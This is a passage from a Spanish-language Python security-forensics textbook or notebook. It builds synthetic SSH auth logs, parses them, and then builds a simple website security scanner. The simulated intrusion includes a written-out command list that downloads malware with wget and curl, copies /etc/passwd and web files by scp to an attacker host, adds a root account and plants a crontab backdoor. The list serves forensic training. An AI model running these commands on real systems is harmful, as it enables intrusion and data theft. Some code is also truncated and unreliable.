8 443 None
ioso
Silenc
9 445 None
ioso
1 330 Abiert
> 5.0.51a-3ubuntu5LDN=%?OO,!TcvIIr#SZKFBad handshake
0 6 o
1 808 Silenc
None
1 0 ioso
1 338 Silenc
None
2 9 ioso
Ahora, imagina que estás en tu red de laboratorio, tu Metasploitable está prendido y tú, con tu notebook,
abres un canal de conversación manual. No usás navegador, ni curl, ni requests… usás la Fuerza (tu socket).
In [18]:
import socket
HTTP/1.1 200 OK
Date: Sun, 23 Nov 2025 07:15:41 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Length: 891
Content-Type: text/html
<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>
294
_ _ _ _ _ _ ____
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
|_|
Warning
In [14]:
import socket
295
canal seguro, es un oye, hablemos tú y yo, sin interrupciones y la comunicación viaja cifrada, protegida, casi
muy íntima entre tu y tu servidor.
Accediendo/var/log/[Link]
En algunos sistemas, especialmente los más antiguos o los que no utilizan systemd, los registros SSH se
guardan en la ruta /var/log/[Link]. Esto es común en versiones anteriores de Debian, Ubuntu y otras
distribuciones que utilizan SysVinit u otros sistemas de inicio.
Para ver los registros SSH en /var/log/[Link], puede utilizar comandos de visualización de archivos
de texto comunes como cat, less, o tail.
296
Ejemplo:
Más info:[Link]
<fecha>: Indica el momento en que se generó el registro. La fecha incluye el mes, día y hora (en formato
MMM DD HH:MM:SS).texto en negrita
<hostname>: El nombre del host donde se ejecuta el servicio. En sistemas locales, puede aparecer como
localhost o el nombre del servidor.
<servicio>: Es el nombre del proceso o servicio que generó la entrada en el log, como sshd para el
servicio de SSH.
<PID>: Es el ID del proceso en ejecución entre corchetes []. Es útil para identificar eventos específicos en
instancias de servicios concurrentes.
<mensaje>: Es el mensaje de registro que describe el evento. Puede incluir información como la IP de
origen, el nombre de usuario, el tipo de acción (inicio de sesión exitoso o fallido), y otros detalles específicos
del evento.
Formato [Link]
Cada línea en [Link] suele seguir un formato estándar, que incluye la fecha, el hostname, el servicio o
proceso que generó el log, un ID del proceso, el usuario involucrado y un mensaje descriptivo.
297
● Received disconnect: Mensaje de desconexión de un cliente SSH.
● pam_unix: Eventos relacionados con el sistema de autenticación PAM (incluye apertura o cierre de
sesiones).
● sudo: Eventos que registran el uso de sudo para ejecutar comandos con privilegios elevados.
In [20]:
import random
from datetime import datetime, timedelta
In [21]:
users = ["seba", "juan", "maria", "lucho_jara", "kathy_barriga", "hermosilla",
"cuenta_servicio1", "cuenta_servicio2", "ivan", "javiera"]
Y ahora, una lista de IPs que acceden desde internet para administrar el servidor
In [22]:
ips = [
"[Link]", "[Link]", "[Link]", "[Link]", "[Link]",
"[Link]", "[Link]", "[Link]", "[Link]", "[Link]"
]
La idea de crear registros falsos..... con un par de accesos buenos y varios intentos fallidos... no es hacer
trampa, ni mucho menos. Es simular la vida real de un servidor SSH.... Porque un servidor sano siempre va a
tener:
Eso es completamente normal, SSH es como la puerta principal de una casa en un barrio movido, tú entras
con tu llave… pero afuera pasa gente probando la manilla todos los días. Ahora, si solo tuviera accesos
exitosos, no sería útil para ejercitar. Si solo tuviera fallidos, parecería que el servidor está bajo ataque
constante y no sería representativo....
298
● Esto lo hacemos para crear un terreno de entrenamiento realista... Un dojo, un mini templo Jedi de
logs donde tu código pueda practicar.
In [23]:
logins = ["Accepted password", "Failed password"]
start_date = datetime(2024, 10, 1) # esta es la fecha de inicio del logs
end_date = datetime(2024, 10, 30) # esta es la fecha de término
total_entries = 200 # aqui ponemos el total de entradas para el mes
intet_fail =10 # los intentos fallidos
acum = 0 # acumulador para solo dejar 10 intentos fallidos, (tratar de hacerlo más
real)
Creamos una función para simular fechas aleatorias dentro de los logs
In [24]:
def random_date(start, end):
delta = end - start
random_days = [Link](0, [Link])
random_seconds = [Link](0, 86400)
return start + timedelta(days=random_days, seconds=random_seconds)
In [26]:
log_entries = [] # esto es necesario para almacenar las entradas simuladas
for _ in range(total_entries):
timestamp = random_date(start_date, end_date).strftime("%b %d %H:%M:%S") # fecha
aleatoria entre los dos rangos de arriba
user = [Link](users) # elige usuarios aleatorios
ip = [Link](ips) # elige ips aleatorias
login_status = [Link](logins) # elije estados aleatorios exitosos o
fallidos
In [27]:
299
with open("[Link]", "w") as log_file: # se define w para que si no existe el
archivo lo cree
for log in log_entries: # se recorre el arreglo
log_file.write(log + "\n") # se guarda con salto de línea al final
In [28]:
attackers_ips = ["[Link]", "[Link]", "[Link]"]
target_user = "cuenta_servicio2" # Usuario objetivo del ataque
attempts_per_attacker = 50 # Número de intentos por atacante
success_ip = attackers_ips[0] # Solo la primera IP tendrá un acceso exitoso
Ahora simularemos y le agregaremos un ataque de fuerza bruta intentando acceder a una cuenta de servicio
y dejaremos que el día sea el 1 de Nov.
In [29]:
attack_logs = [] # se crea un arreglo para guardar los ataques
attack_date = datetime(2024, 11, 1) # se crea la fecha del inicio del ataque
for ip in attackers_ips:
for attempt in range(attempts_per_attacker):
timestamp = (attack_date + timedelta(seconds=[Link](0,
86400))).strftime("%b %d %H:%M:%S")
attack_logs.append(entry)
with open("[Link]", "a") as log_file: # se deja en modo -a- la apertura del archivo
para que no sobreescriba sobre los logs anteriores
for log in attack_logs:
log_file.write(log + "\n")
In [30]:
300
attacker_ip = "[Link]"
attacker_user = "cuenta_servicio2"
attack_date = datetime(2024, 11, 3, 23, 50) # Inicio de la actividad de ataque 2 días
después del acceso inicial
In [31]:
commands = [
# reconocimiento del objetivo
"whoami",
"uname -a",
"ifconfig",
"netstat -tuln",
"cat /etc/passwd",
# descarga de herramientas
"wget [Link] -O /tmp/[Link]", # descarga herramientas
necesarias
"curl -o /tmp/[Link] [Link] #descarga un
malware
"tar -xzf /tmp/[Link] -C /tmp/", # lo descomprime y lo deja en el temporal
# intentos de elevar privilegios, esto solo es para poder simular, obviamente se
hace más que eso.
"sudo -l",
"sudo su",
"chmod +s /bin/bash", # intenta escalada de privilegio
# exfiltra información a un segundo objetivo
"scp /etc/passwd attacker@[Link]:/stolen-data/",
"tar -czvf /tmp/[Link] /var/www/html",
"scp /tmp/[Link] attacker@[Link]:/stolen-data/",
# deja una persistencia sobre el servidor
"echo 'malicious_user:x:0:0::/root:/bin/bash' >> /etc/passwd", # crear usuario
con root
"nohup /tmp/[Link] &", # deja el script ejecutándose en segundo plano
"echo '* * * * * root /tmp/[Link]' >> /etc/crontab" # su backdoor lo deja
persistente en el crontab
]
In [32]:
activity_logs = []
301
# Guardar en el archivo [Link]
with open("[Link]", "a") as log_file:
for log in activity_logs:
log_file.write(log + "\n")
Volvemos a generar más logs para simular que pasaron unos dias despues del ingreso.
In [33]:
logins = ["Accepted password", "Failed password"]
start_date = datetime(2024, 11, 5) # dos días después vuelve a haber actividad en el
servidor
end_date = datetime(2024, 11, 28) # y termina el 28 de ese mes
total_entries = 150 # esta vez ingresaron 150 veces
intet_fail =7 # fallaron 7 para hacerlo cuanta que no se dieron cuenta
acum = 0
Creamos el Logs
In [34]:
log_entries = []
for _ in range(total_entries):
timestamp = random_date(start_date, end_date).strftime("%b %d %H:%M:%S")
user = [Link](users)
ip = [Link](ips)
login_status = [Link](logins)
log_entries.append(entry)
Y guardamos:
In [35]:
with open("[Link]", "a") as log_file:
for log in log_entries:
log_file.write(log + "\n")
302
Para que un analista pueda investigar, primero tiene que haber evidencia que investigar. No vamos a usar
logs reales, porque eso puede ser peligroso y poco ético.... así que vamos a crear nuestro propio caso,
completo, creíble y ordenado.
Será como montar una escena del crimen… para después resolverla.
El principio de Intercambio o principio de Edmond Locard viene a decir que cuando existe interacción entre
dos elementos cualesquiera, siempre se produce un intercambio entre los mismos y se deja una huella del
intercambio producido.
En el contexto de la investigación forense digital, el principio de Locard se adapta a la idea de que cualquier
interacción con un sistema informático (legítima o malintencionada) deja rastros. Así, cada actividad de un
usuario, como el acceso a un sistema, el uso de comandos, la transferencia de archivos o la alteración de
permisos, queda registrada en algún lugar, usualmente en archivos de logs.
La "regla de oro" en investigaciones forenses es : Evitar llegar con ideas preconcebidas al sitio del
suceso, esta es una regla fundamental en la ciencia forense.
303
inspirada en los ideales de Locard, es no llegar al lugar del incidente con ideas preconcebidas. En una
investigación, se debe permitir que la evidencia revele los eventos en lugar de forzar una interpretación o
teoría desde el inicio.
SSH escribe casi todo en un archivo que en Linux vive como /var/log/[Link] o [Link], según la
distribución. Ahí está el cuento completo.
Parser de Logs
Para poder procesar el archivo generado anteriormente, necesitamos buscar una estrategia que automatice
la lectura de eventos, para posteriormente, construir la narrativa de lo extraído de la evidencia.
In [36]:
logs_text ="""
May 1 08:23:45 server1 sshd[1032]: Accepted password for alice from [Link] port
53222 ssh2
May 1 10:15:07 server1 sshd[2045]: Failed password for root from [Link] port
44123 ssh2
May 1 11:02:33 server1 sshd[3056]: Failed password for invalid user admin from
[Link] port 32234 ssh2
May 2 09:45:19 server1 sshd[4098]: Accepted password for bob from [Link] port
48766 ssh2
May 2 10:20:45 server1 sshd[5124]: Failed password for root from [Link] port
44123 ssh2
"""
In [37]:
import re # librería necesaria para hacer búsqueda de textos por expresión regular
from datetime import datetime # librería para procesar líneas de tiempo
304
regex_patterns = {
"accepted_login": r"(?P<date>\w{3} \d{2} \d{2}:\d{2}:\d{2}) (?P<host>\S+)
sshd\[\d+\]: Accepted \w+ for (?P<user>\S+) from (?P<ip>[\d.]+) port \d+",
"failed_login": r"(?P<date>\w{3} \d{2} \d{2}:\d{2}:\d{2}) (?P<host>\S+)
sshd\[\d+\]: Failed \w+ for (?P<user>\S+) from (?P<ip>[\d.]+) port \d+",
"invalid_user": r"(?P<date>\w{3} \d{2} \d{2}:\d{2}:\d{2}) (?P<host>\S+)
sshd\[\d+\]: Invalid user (?P<user>\S+) from (?P<ip>[\d.]+)",
"disconnect": r"(?P<date>\w{3} \d{2} \d{2}:\d{2}:\d{2}) (?P<host>\S+) sshd\[\d+\]:
Received disconnect from (?P<ip>[\d.]+)",
"sudo_command": r"(?P<date>\w{3} \d{2} \d{2}:\d{2}:\d{2}) (?P<host>\S+)
sshd\[\d+\]: (?P<user>\S+)@(?P<ip>\d+\.\d+\.\d+\.\d+): (?P<command>.+)"
}
In [38]:
def parse_auth_log(log_file_path):
events = []
with open(log_file_path, 'r') as log_file:
for line in log_file:
for event_type, pattern in regex_patterns.items():
match = [Link](pattern, line)
if match:
# agregar el evento con detalles extraídos para poder procesar su
tipo
event_data = [Link]()
event_data["event_type"] = event_type
[Link](event_data)
break
return events
In [39]:
events = parse_auth_log("[Link]")
for event in events:
print(event)
305
{'date': 'Oct 25 01:28:14', 'host': 'server', 'user': 'ivan', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 20 15:17:44', 'host': 'server', 'user': 'maria', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 18 07:38:50', 'host': 'server', 'user': 'hermosilla', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 29 13:44:09', 'host': 'server', 'user': 'juan', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 29 18:36:17', 'host': 'server', 'user': 'hermosilla', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 02 12:52:06', 'host': 'server', 'user': 'cuenta_servicio2', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 07 03:28:39', 'host': 'server', 'user': 'seba', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 04 19:58:32', 'host': 'server', 'user': 'lucho_jara', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 19 23:13:24', 'host': 'server', 'user': 'ivan', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 16 12:21:44', 'host': 'server', 'user': 'lucho_jara', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 04 14:34:22', 'host': 'server', 'user': 'maria', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 06 15:49:45', 'host': 'server', 'user': 'cuenta_servicio1', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 05 18:37:33', 'host': 'server', 'user': 'ivan', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 07 20:10:41', 'host': 'server', 'user': 'juan', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 25 12:08:58', 'host': 'server', 'user': 'cuenta_servicio1', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 17 14:11:02', 'host': 'server', 'user': 'seba', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 27 15:08:21', 'host': 'server', 'user': 'juan', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 28 20:41:49', 'host': 'server', 'user': 'kathy_barriga', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 02 06:13:08', 'host': 'server', 'user': 'ivan', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 07 18:23:15', 'host': 'server', 'user': 'seba', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 22 07:12:42', 'host': 'server', 'user': 'hermosilla', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 10 02:02:35', 'host': 'server', 'user': 'hermosilla', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 24 13:32:21', 'host': 'server', 'user': 'maria', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 20 18:34:13', 'host': 'server', 'user': 'ivan', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 23 18:06:19', 'host': 'server', 'user': 'javiera', 'ip': '[Link]',
'event_type': 'accepted_login'}
...
...
...
306
...
..
.
.
In [40]:
import pandas as pd # usaremos formato dataframe
In [41]:
df = [Link](events) # lo convertimos
In [42]:
df # verificamos que todo está bien en el df
Out[42]:
comman
date host user ip event_type
d
307
51 Nov 25 serve 198.51.100. accepted_logi
maria NaN
3 08:37:28 r 5 n
In [43]:
ip_counts = [Link]('ip').size().reset_index(name='count') # contemos la
interacción de las ip y las agrupamos
In [44]:
ip_counts # vemos el resultado
Out[44]:
coun
ip
t
[Link]
0 67
8
[Link]
1 50
5
[Link]
2 50
8
3 [Link] 33
4 [Link] 35
308
5 [Link] 35
6 [Link] 50
7 [Link] 30
8 [Link] 34
9 [Link] 32
1
[Link] 34
0
1
[Link] 37
1
1
[Link] 30
2
In [45]:
# buscamos las ips únicas
for x in df['ip'].unique():
print(x)
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
graficamos la Ip en el Mapa
In [46]:
# verificar en la base de datos de abusedb si la ip esta en blacklist
309
import requests
def check_blacklist(ip):
api_key = 'TU_API_KEY' # Limite 1,000 diarios
url = f"[Link]
headers = {
'Accept': 'application/json',
'Key': api_key
}
try:
response = [Link](url, headers=headers)
data = [Link]()
if data['data']['abuseConfidenceScore'] > 0:
return 0 # Si hay reporte de abuso, puntúa 0
else:
return 1
except:
return 0
for x in df['ip'].unique():
print(x + " - > " + check_ip_reported(x) )
Con la base de inteligencia de la galaxia (AbuseIPDB), comparó cada IP vista en los logs, algunas estaban
limpias. Pero otras… otras ya habían sido reportadas cientos de veces y justo esas eran las mismas que
intentaron entrar al servidor.
In [50]:
# instalamos nueva librería
310
!pip install basemap
In [51]:
import socket
import requests
import [Link] as plt
from mpl_toolkits.basemap import Basemap
311
# Graficar el mapa
[Link](figsize=(10, 6))
In [53]:
import [Link] as plt
import seaborn as sns
312
# Gráfico de barras usando seaborn
[Link](data=ip_counts_sorted, x='ip', y='count', palette='viridis')
# Etiquetas y título
[Link]('IP Address')
[Link]('Count')
[Link]('Access Count per IP Address')
[Link](rotation=90) # Rotar etiquetas en el eje X para mejor visibilidad
[Link]()
C:\Users\starh\AppData\Local\Temp\ipykernel_23192\[Link]: FutureWarning:
Passing `palette` without assigning `hue` is deprecated and will be removed in v0.14.0.
Assign the `x` variable to `hue` and set `legend=False` for the same effect.
In [54]:
import networkx as nx
[Link](figsize=(10, 10))
pos = nx.spring_layout(G, k=0.5, seed=42)
[Link](G, pos, with_labels=True, node_size=500, node_color="skyblue", font_size=8,
edge_color="gray")
313
[Link]("Network Graph of SSH Connections")
[Link]()
In [55]:
import networkx as nx
G = [Link]()
314
if source_ip and connection_type != 'Unknown':
G.add_node(source_ip, color='red' if connection_type == 'failed_login' else
'green')
G.add_node(target_host, color='blue') # El color del host puede ser azul, por
ejemplo
G.add_edge(source_ip, target_host, weight=attempts, color='red' if
connection_type == 'failed_login' else 'green')
[Link](figsize=(14, 7))
pos = nx.spring_layout(G)
[Link](G, pos, with_labels=True, node_color=list(node_colors),
edge_color=list(edge_colors), width=edge_weights, node_size=700, font_size=10,
font_color='black', font_weight='bold')
[Link]('Network Graph of SSH Connections')
[Link]()
In [56]:
import networkx as nx
G = [Link]()
315
G.add_node(source_ip, color='red' if connection_type == 'failed_login' else
'green')
G.add_node(target_host, color='blue') # El color del host puede ser azul, por
ejemplo
G.add_edge(source_ip, target_host, color='red' if connection_type ==
'failed_login' else 'green')
[Link](figsize=(14, 7))
pos = nx.spring_layout(G)
[Link](G, pos, with_labels=True, node_color=node_colors, edge_color=edge_colors,
node_size=700, font_size=10, font_color='black', font_weight='bold')
[Link]('Network Graph of SSH Connections')
[Link]()
G = [Link]()
In [57]:
# Filtrar intentos de acceso fallidos
failed_attempts = df[(df['event_type'] == 'failed_login') & (df['ip'] ==
'[Link]')]
316
Grafiquemos los intentos fallidos en el tiempo
In [58]:
# Graficar todos los intentos fallidos
failed_attempts_all = df[df['event_type'] == 'failed_login']
[Link](figsize=(14, 6))
[Link](data=failed_attempts_all, x='date', y=failed_attempts_all.index,
drawstyle='steps-post')
[Link]("Failed Login Attempts Over Time")
[Link]("Date")
[Link]("Attempts")
[Link]()
In [59]:
# Contar intentos por IP
ip_counts = df[df['event_type'] ==
'accepted_login'].groupby('ip').size().reset_index(name='login_count')
317
top_ips = ip_counts.nlargest(10, 'login_count')
# Gráficos
[Link](figsize=(14, 6))
[Link](1, 2, 1)
[Link](data=top_ips, x='login_count', y='ip', palette='Blues_r')
[Link]("Top 10 IPs with Most Logins")
[Link]("Login Count")
[Link](1, 2, 2)
[Link](data=bottom_ips, x='login_count', y='ip', palette='Reds_r')
[Link]("Top 10 IPs with Least Logins")
[Link]("Login Count")
plt.tight_layout()
[Link]()
C:\Users\starh\AppData\Local\Temp\ipykernel_23192\[Link]: FutureWarning:
Passing `palette` without assigning `hue` is deprecated and will be removed in v0.14.0.
Assign the `y` variable to `hue` and set `legend=False` for the same effect.
In [60]:
from [Link] import IsolationForest
# Contar intentos fallidos por IP
failed_attempts_by_ip =
failed_attempts_all.groupby('ip').size().reset_index(name='failed_count')
318
# Detección de anomalías
model = IsolationForest(contamination=0.05)# El modelo asume que el 5% de los datos
son anomalías.
failed_attempts_by_ip['anomaly'] =
model.fit_predict(failed_attempts_by_ip[['failed_count']]) # ajusta el modelo a los
datos (aprende de los patrones normales) y luego realiza la predicción para cada
dato.
failed_attempts_by_ip['is_anomaly'] = failed_attempts_by_ip['anomaly'] == -1
# Gráfico de anomalias
[Link](figsize=(12, 6))
[Link](data=failed_attempts_by_ip, x='failed_count', y='ip', hue='is_anomaly',
dodge=False, palette={True: "red", False: "blue"})
[Link]("Failed Login Attempts with Anomaly Detection")
[Link]("Failed Count")
[Link]("IP")
[Link]()
In [62]:
filtered_df = df[ (df['ip'] == '[Link]')]
filtered_df
Out[62]:
ho event_typ
date user ip command
st e
319
2
Nov 01 ser cuenta_ser 103.113.10
0 failed_login NaN
19:52:57 ver vicio2 5.228
0
2
Nov 01 ser cuenta_ser 103.113.10
0 failed_login NaN
00:00:39 ver vicio2 5.228
1
2
Nov 01 ser cuenta_ser 103.113.10
0 failed_login NaN
23:28:21 ver vicio2 5.228
2
2
Nov 01 ser cuenta_ser 103.113.10
0 failed_login NaN
22:33:02 ver vicio2 5.228
3
2
Nov 01 ser cuenta_ser 103.113.10
0 failed_login NaN
11:51:13 ver vicio2 5.228
4
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com tar -czvf /tmp/[Link]
6
23:53:15 ver vicio2 5.228 mand /var/www/html
2
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com scp /tmp/[Link]
6
23:54:17 ver vicio2 5.228 mand attacker@111.70.4...
3
3 echo
Nov 03 ser cuenta_ser 103.113.10 sudo_com
6 'malicious_user:x:0:0::/root:/bin/b
23:53:17 ver vicio2 5.228 mand
4 ash' >...
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
6 nohup /tmp/[Link] &
23:50:09 ver vicio2 5.228 mand
5
320
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com echo '* * * * * root
6
23:51:31 ver vicio2 5.228 mand /tmp/[Link]' >> /etc/...
6
67 rows × 6 columns
In [64]:
filtered_df2 = df[ (df['event_type'] == 'sudo_command')]
filtered_df2
Out[64]:
ho event_typ
date user ip command
st e
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
5 whoami
23:52:28 ver vicio2 5.228 mand
0
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
5 uname -a
23:50:38 ver vicio2 5.228 mand
1
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
5 ifconfig
23:53:59 ver vicio2 5.228 mand
2
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
5 netstat -tuln
23:50:17 ver vicio2 5.228 mand
3
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
5 cat /etc/passwd
23:53:31 ver vicio2 5.228 mand
4
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com wget [Link] -O
5
23:53:34 ver vicio2 5.228 mand /tmp/[Link]
5
321
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com curl -o /tmp/[Link]
5
23:53:32 ver vicio2 5.228 mand [Link]
6
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com tar -xzf /tmp/[Link] -C
5
23:50:18 ver vicio2 5.228 mand /tmp/
7
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
5 sudo -l
23:52:57 ver vicio2 5.228 mand
8
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
5 sudo su
23:53:48 ver vicio2 5.228 mand
9
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
6 chmod +s /bin/bash
23:53:53 ver vicio2 5.228 mand
0
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com scp /etc/passwd
6
23:53:50 ver vicio2 5.228 mand attacker@[Link]:/stolen-...
1
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com tar -czvf /tmp/[Link]
6
23:53:15 ver vicio2 5.228 mand /var/www/html
2
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com scp /tmp/[Link]
6
23:54:17 ver vicio2 5.228 mand attacker@111.70.4...
3
3 echo
Nov 03 ser cuenta_ser 103.113.10 sudo_com
6 'malicious_user:x:0:0::/root:/bin/b
23:53:17 ver vicio2 5.228 mand
4 ash' >...
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com
6 nohup /tmp/[Link] &
23:50:09 ver vicio2 5.228 mand
5
322
3
Nov 03 ser cuenta_ser 103.113.10 sudo_com echo '* * * * * root
6
23:51:31 ver vicio2 5.228 mand /tmp/[Link]' >> /etc/...
6
Este capítulo trata justamente de eso, de crear nuestro propio scanner, hecho 100% en Python, que nos
permite evaluar la seguridad básica de un sitio web: HTTPS, encabezados, XSS, WAF, reputación de IP,
TLS, malware…
Vamos recorriendo cada función como si fuera una herramienta del cinturón de un Jedi digital.
Importación de Librerías
Antes de partir, cargamos nuestras armas:
In [65]:
import requests
import [Link] as plt
import ssl
import socket
import numpy as np
In [66]:
# Función para evaluar HTTPS
def check_https(url):
if [Link]('https'):
return 1
else:
return 0
323
check_https(url)
Out[66]:
1
● Strict-Transport-Security
● Content-Security-Policy
En palabras simples, esto evita muchos ataques web comunes. Si los tiene 1 punto, Si no 0 puntos.
In [71]:
# función para evaluar encabezados de seguridad
def check_security_headers(url):
try:
response = [Link](url)
headers = [Link]
print(headers)
if 'Strict-Transport-Security' in headers and 'Content-Security-Policy' in
headers:
return 1
else:
return 0
except:
return 0
check_security_headers(url)
Out[71]:
0
In [72]:
# Función para evaluar si tiene protección contra XSS (Simplificada)
def check_xss_protection(url):
try:
324
response = [Link](url)
headers = [Link]
print(headers)
if 'X-XSS-Protection' in headers and headers['X-XSS-Protection'] == '1;
mode=block':
return 1
else:
return 0
except:
return 0
check_xss_protection(url)
Out[72]:
0
In [73]:
# Verificación si el sitio web tiene un WAF (Basado en encabezados comunes de WAF)
def check_waf(url):
try:
response = [Link](url)
headers = [Link]
body = [Link]()
waf_indicators = [
'x-waf', 'cf-ray', 'x-firewall', 'x-sucuri', 'x-distil-cs', # Encabezados
comunes
'x-cdn', 'x-recaptcha', 'x-amz-cf-id', #
Cloudflare/Amazon
'x-iinfo', 'akamai', 'incapsula', 'bigip', 'f5', #
Akamai/Incapsula/F5
'mod_security', 'x-px', 'nsfocus', 'fortiguard', #
ModSecurity/Nsfocus
'sitelock', 'waf', 'edgecast', 'imunify360', # Otros WAF
conocidos
]
325
return 1
else:
return 0 # No se detectó WAF
except Exception as e:
print(f"Error verificando WAF: {e}")
return 0
check_waf(url)
Out[73]:
0
In [75]:
# Verificación de HSTS
def check_hsts(url):
try:
response = [Link](url)
headers = [Link]
if 'Strict-Transport-Security' in headers:
return 1
else:
return 0
except:
return 0
check_hsts(url)
Out[75]:
1
In [76]:
# Verificación de redireccion a HTTPS
def check_https_redirect(url):
try:
response = [Link]([Link]("https", "http"))
if [Link]("https"):
return 1
else:
return 0
except:
326
return 0
check_https_redirect(url)
Out[76]:
1
● 0 si la IP ha sido reportada
● 1 si está limpia
sitio: [Link]
In [78]:
# Verificacion de si la IP está reportada en listas negras (AbuseIPDB)
def check_blacklist(ip):
api_key = 'TU_API_AQUI' # Limite 1,000 diarios
url = f"[Link]
headers = {
'Accept': 'application/json',
'Key': api_key
}
try:
response = [Link](url, headers=headers)
data = [Link]()
if data['data']['abuseConfidenceScore'] > 0:
return 0 # Si hay reporte de abuso, puntúa 0
else:
return 1
except:
return 0
check_blacklist("[Link]")
Out[78]:
1
In [80]:
# Verificación de si la IP está en una lista negra (simplificada)
def check_ip_reported(ip):
blacklisted = check_blacklist(ip)
if blacklisted == 0:
327
return 0 # Si está en lista negra
else:
return 1
check_ip_reported("[Link]")
Out[80]:
1
In [81]:
# Verificación de la versión de TLS
def check_tls_version(url):
try:
hostname = [Link]('[Link] '').replace('[Link] '')
context = ssl.create_default_context()
conn = context.wrap_socket(
[Link](socket.AF_INET),
server_hostname=hostname,
)
[Link]((hostname, 443))
tls_version = [Link]()
[Link]()
check_tls_version(url)
Out[81]:
1
sitio: [Link]
In [82]:
328
# Evaluación de seguridad usando Cloud Mersive
def get_cloudmersive_result(url):
api_key = "TU_API_AQUI" # 800 request por mes
if not api_key:
return {'error': 'CLOUDMERSIVE_API_KEY is required for the Cloudmersive check'}
try:
endpoint = '[Link]
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Apikey': api_key,
}
data = f'Url={url}'
# Realizar la solicitud POST
response = [Link](endpoint, data=data, headers=headers)
resp = [Link]()
if resp['CleanResult'] == True:
return 1
else:
return 0
#return [Link]() # Parsear la respuesta como JSON
except Exception as e:
return {'error': f'Request to Cloudmersive failed: {str(e)}'}
get_cloudmersive_result(url)
Out[82]:
1
In [85]:
# Evaluación de seguridad completa
def evaluate_security(url, ip):
checks = [
check_https(url),
check_security_headers(url),
check_xss_protection(url),
check_waf(url),
check_hsts(url),
check_https_redirect(url),
check_ip_reported(ip),
check_tls_version(url),
get_cloudmersive_result(url)
]
total_score = sum(checks)
return total_score
329
Devolver resultados individuales (para graficar)
Esta función entrega:
In [86]:
def evaluate_security_check(url, ip):
checks = [
check_https(url),
check_security_headers(url),
check_xss_protection(url),
check_waf(url),
check_hsts(url),
check_https_redirect(url),
check_ip_reported(ip),
check_tls_version(url),
get_cloudmersive_result(url)
]
● verde (seguro)
● amarillo (medio)
● rojo (inseguro)
330
La aguja marca tu puntaje.
In [83]:
def plot_gauge(security_score):
# Crear los datos para el gráfico
fig, ax = [Link](figsize=(8, 6), subplot_kw={'projection': 'polar'})
# Etiquetas y límites
ax.set_yticklabels([])
ax.set_xticks([0, [Link] / 3, 2*[Link] / 3, [Link]])
ax.set_xticklabels(['9', '7', '4', '1'], fontsize=12)
# Puntero de la puntuación
arrow_angle = [Link] - (security_score / 9) * [Link]
[Link]('', xy=(arrow_angle, 0.75), xytext=(0, 0),
arrowprops=dict(facecolor='black', shrink=0.05, width=5))
In [87]:
def plot_security_checks(checks, labels):
# Verificar que la longitud de checks y labels sea la misma
assert len(checks) == len(labels), "El número de checks debe coincidir con el
número de labels."
# Mostrar la gráfica
331
plt.tight_layout()
[Link]()
● consultar AbuseIPDB
● correlacionar reputación con dominio
In [88]:
def domain_to_ip(domain):
# Eliminar "[Link] o "[Link] si existe, para obtener solo el dominio
if [Link]("[Link]
domain = [Link]("[Link] "")
elif [Link]("[Link]
domain = [Link]("[Link] "")
try:
ip_address = [Link](domain)
return ip_address
except [Link]:
return "No se pudo resolver el dominio."
In [89]:
